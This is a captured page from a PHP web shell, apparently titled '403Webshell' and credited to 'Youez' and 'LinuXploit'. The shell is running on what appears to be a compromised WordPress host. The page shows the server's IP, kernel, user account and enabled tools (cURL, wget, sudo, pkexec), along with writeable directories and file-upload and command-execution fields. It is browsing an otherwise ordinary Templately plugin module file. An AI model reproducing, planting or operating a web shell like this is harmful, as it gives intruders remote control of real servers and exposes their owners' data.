403Webshell
Server IP : 108.167.142.43  /  Your IP : 216.73.217.58
Web Server : Apache
System : Linux gator4174.hostgator.com 5.14.0-687.39.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Aug 18 06:09:16 EDT 2026 x86_64
User : delarice ( 2406)
PHP Version : 8.3.36
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home2/delarice/www/wp-content/plugins/templately/modules/template-recommendations/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home2/delarice/www/wp-content/plugins/templately/modules/template-recommendations/module.php
<?php
/**
 * Template-recommendations module (spec 019-template-recommendations).
 *
 * FRONTEND-ONLY: its Ownership section is explicit that all three REST endpoints
 * consumed here (related-items, featured-items, trending-items) are registered by
 * modules/template-browsing (spec 017) in REST/Items.php — this module MUST NOT ship
 * REST controller classes of its own. register_rest_routes() is intentionally a no-op.
 *
 * @package Templately
 */

namespace Templately\Modules\TemplateRecommendations;

use Templately\Core\Module_Base;

class Module extends Module_Base {

	public function get_name(): string {
		return 'template-recommendations';
	}

	public function get_dependencies(): array {
		// CONTRACT deps, not import deps (the dependency scanner rightly finds no
		// code reference): template-browsing owns the three REST endpoints this
		// module's strips consume, and template-details renders the slot fills
		// this module registers. Both must be booted for this module to mean
		// anything — same pattern as template-browsing's own auth dep.
		return [ 'template-details', 'template-browsing' ];
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit